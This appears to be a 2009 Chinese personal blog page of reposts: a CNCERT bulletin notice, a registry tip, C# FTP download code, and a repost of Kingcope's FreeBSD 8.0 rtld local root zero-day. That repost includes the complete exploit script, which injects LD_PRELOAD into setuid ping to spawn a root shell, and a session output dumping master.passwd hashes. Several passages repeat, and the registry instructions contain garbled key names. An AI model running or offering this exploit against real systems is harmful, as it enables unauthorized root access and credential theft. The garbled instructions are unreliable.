2009年12月3日 星期四
網絡安全信息與動態週報-2009年第2期
關於CNCERT
國家計算機網絡應急技術處理協調中心(簡稱國家互聯網應急中心,CNCERT/CC)成立於1999年9月,是工 業和信息化部領導下的國家級網絡安全應急機構,具體負責協調我國各計算機應急組織(CERT)共同處理國家公共互聯網上的緊急安全事件,為國家公共互聯 網、重要信息基礎設施以及關鍵部門提供計算機網絡安全監測、預警、應急、防範等服務和技術支持,收集、核實、彙總、發佈有關互聯網網絡安全的權威信息,組 織國內網絡安全應急組織參與國際網絡安全合作和交流等事宜。
網址:www.cert.org.cn
週報內容如下:
週報內容如下:
一、本週網絡安全基本態勢(11月23日-11月29日)
● 本週活躍惡意域名
● 本週活躍惡意代碼
● 本週重要漏洞
二、業界新聞速遞
● 政府監管和政策法規動態
● 網絡安全事件與威脅
● 業界動態
官網下載: 點擊下載 假使官網速度過慢 可嘗試本站下載
本站下載: 點擊下載
Fuzzing Reader - Lessons Learned
Fuzzing Reader - Lessons Learned
from ASSET (Adobe Secure Software Engineering Team)
FreeBSD local r00t zeroday
FreeBSD local r00t zeroday
在聖誕節即將到來的日子,以安全著稱的FreeBSD系統被著名黑客Kingcope爆了一個零日(0day)漏洞。據Kingcope所說,他長 期致力於挖掘FreeBSD系統的本地提權漏洞,終於有幸在近期發現了這個非常低級的本地提權漏洞;這個漏洞存在於FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用戶可以通過該漏洞非常輕易的獲得root權限。該漏洞影響非常廣泛,包括FreeBSD 7.1至8.0的32及64位系統。
在展示該漏洞威力之前,我們科普一下著名黑客kingcope。從2007年6月至今,他一共公開了12個安全漏洞(沒公開的不知道有多少),其中 FreeBSD和Sun Solaris各兩個,微軟四個,Oracle、mysql、NcFTPD和nginx各一個,同時他還編寫了多個漏洞的攻擊代碼,例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。
接下來我們在最新的FreeBSD 8.0中重現一下該漏洞的攻擊過程,請注意圖中的紅色部分;我們只要執行名為fbsd8localroot.sh的腳本,就可以輕易的獲得root權限。
From: Kingcope <kcope2 () googlemail com>
Date: Mon, 30 Nov 2009 23:12:20 +0100
在聖誕節即將到來的日子,以安全著稱的FreeBSD系統被著名黑客Kingcope爆了一個零日(0day)漏洞。據Kingcope所說,他長 期致力於挖掘FreeBSD系統的本地提權漏洞,終於有幸在近期發現了這個非常低級的本地提權漏洞;這個漏洞存在於FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用戶可以通過該漏洞非常輕易的獲得root權限。該漏洞影響非常廣泛,包括FreeBSD 7.1至8.0的32及64位系統。
在展示該漏洞威力之前,我們科普一下著名黑客kingcope。從2007年6月至今,他一共公開了12個安全漏洞(沒公開的不知道有多少),其中 FreeBSD和Sun Solaris各兩個,微軟四個,Oracle、mysql、NcFTPD和nginx各一個,同時他還編寫了多個漏洞的攻擊代碼,例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。
接下來我們在最新的FreeBSD 8.0中重現一下該漏洞的攻擊過程,請注意圖中的紅色部分;我們只要執行名為fbsd8localroot.sh的腳本,就可以輕易的獲得root權限。
From: Kingcope <kcope2 () googlemail com>
Date: Mon, 30 Nov 2009 23:12:20 +0100
** FreeBSD local r00t 0day Discovered & Exploited by Nikolaos Rangos also known as Kingcope. Nov 2009 "BiG TiME" "Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg There is an unbelievable simple local r00t bug in recent FreeBSD versions. I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out. The bug resides in the Run-Time Link-Editor (rtld). Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like "ping" or "su". With a rather simple technique rtld can be tricked into accepting LD variables even on setugid binaries. See the attached exploit for details. Example exploiting session ********************************** %uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) groups=1001(users) %./w00t.sh FreeBSD local r00t zeroday by Kingcope November 2009 env.c: In function 'main': env.c:5: warning: incompatible implicit declaration of built-in function 'malloc' env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy' env.c:11: warning: incompatible implicit declaration of built-in function 'execl' /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users) # cat /etc/master.passwd # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $ # root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User &:/home/kcope:/bin/sh # Systems tested/affected ********************************** FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD 6.3-RELEASE *** NOT VULN FreeBSD 4.9-RELEASE *** NOT VULN
*EXPLOIT*
#!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env
註: 本文轉載自網路 非原創
轉載自 Insecure.Org 素包子2009年12月2日 星期三
找回誤刪並已清除的資源回收桶文件
步驟:
1、單擊「開始——運行,然後輸入regedit (打開註冊表)
2、依次展開:
HEKEY——LOCAL——MACHIME/SOFTWARE/
microsoft/WINDOWS/CURRENTVERSION/
EXPLORER/DESKTOP /NAMESPACE
在左邊空白外點擊「新建」,選擇:「主鍵」,把它命名為「645FFO40——5081——101B——9F08—— 00AA002F954E」再把右邊的「默認」的主鍵的鍵值設為「回收站」,然後退出註冊表。就OK啦。
3、要重啟你的計算機。
只要你機器沒有運行過磁盤整理。系統完好.任何時候的文件都可以找回來
1、單擊「開始——運行,然後輸入regedit (打開註冊表)
2、依次展開:
HEKEY——LOCAL——MACHIME/SOFTWARE/
microsoft/WINDOWS/CURRENTVERSION/
EXPLORER/DESKTOP /NAMESPACE
在左邊空白外點擊「新建」,選擇:「主鍵」,把它命名為「645FFO40——5081——101B——9F08—— 00AA002F954E」再把右邊的「默認」的主鍵的鍵值設為「回收站」,然後退出註冊表。就OK啦。
3、要重啟你的計算機。
只要你機器沒有運行過磁盤整理。系統完好.任何時候的文件都可以找回來
註: 本文轉載自網路 非原創
轉載自 Yezi 原文2009年12月1日 星期二
C#實現FTP下載代碼(含續傳與進度列)
最近在學習C#程式語言
於是乎模仿了網路上的範例
依樣畫葫蘆寫個FTP的下載代碼(含續傳、進度顯示)
以上模仿參考至黑暗執行緒前輩的文章
相當讚的部落格!使我獲益良多
文章一 文章二
如有侵權我會立刻刪除!
於是乎模仿了網路上的範例
依樣畫葫蘆寫個FTP的下載代碼(含續傳、進度顯示)
private void Download(string filePath, string fileName)
{
FtpWebRequest ftpReq;
//宣告FTP連線
ftpReq = (FtpWebRequest)FtpWebRequest.Create(new Uri("ftp://" + IpAdd + "/" + fileName));
//取得欲下載檔案的大小(位元)存至 fiesize
ftpReq.Method = WebRequestMethods.Ftp.GetFileSize;
//認證
ftpReq.Credentials = new NetworkCredential(UName, UPWord);
int filesize = (int)ftpReq.GetResponse().ContentLength;
//宣告FTP連線
ftpReq = (FtpWebRequest)FtpWebRequest.Create(new Uri("ftp://" + IpAdd + "/" + fileName));
//下載
ftpReq.Method = WebRequestMethods.Ftp.DownloadFile;
//認證
ftpReq.Credentials = new NetworkCredential(UName, UPWord);
//binaary
ftpReq.UseBinary = true;
//進度列初始化
progressBar1.Value = 0;
progressBar1.Maximum = filesize;
lbProgress.Text = "0/" + filesize.ToString();
//支援續傳
FileInfo fi = new FileInfo(filePath + "\\" + fileName);
FileStream fs = null;
//檢測是否已有相同檔名的存在於client端
if (fi.Exists)
{
//若存在,由中斷點繼續傳輸
ftpReq.ContentOffset = fi.Length;
//.apend 檔案存在時開啟檔案至末端 or 建立新檔
fs = new FileStream(filePath + "\\" + fileName, FileMode.Append);
}
else //client端無檔案 則重新建立新檔
fs = new FileStream(filePath + "\\" + fileName, FileMode.Create);
//建立ftp連線
FtpWebResponse ftpResp = (FtpWebResponse)ftpReq.GetResponse();
bool bfinish = false;
try
{
//取得下載用的stream物件
//ftpResp.GetResponseStream()--->擷取包含從FTP server傳送之回應資料的資料流
using (Stream stm = ftpResp.GetResponseStream())
{
//以block方式多批寫入
byte[] buff = new byte[5];
//讀data
int len = 0;
while (fs.Length < filesize)
{
//取得長度
len = stm.Read(buff, 0, buff.Length);
fs.Write(buff, 0, len);
//更新 progress bar
if (progressBar1.Value + len <= progressBar1.Maximum)
{
progressBar1.Value += len;
lbProgress.Text = "傳輸中... " + progressBar1.Value.ToString() + "/" + filesize.ToString();
progressBar1.Refresh();
Application.DoEvents();
}
//傳完
if (fs.Length == filesize)
{
progressBar1.Value = progressBar1.Maximum;
lbProgress.Text = "傳輸成功! " + filesize.ToString() + "/" + filesize.ToString();
}
}
fs.Flush();
//傳完,bfinish = true
//清除資料流的緩衝區
bfinish = (fs.Length == filesize);
fs.Close();
stm.Close();
}
}
catch (System.Net.WebException we)
{
//若未傳完才要觸發 exception
if (!bfinish)
throw we;
}
ftpResp.Close();
}
以上模仿參考至黑暗執行緒前輩的文章
相當讚的部落格!使我獲益良多
文章一 文章二
如有侵權我會立刻刪除!
訂閱:
文章 (Atom)
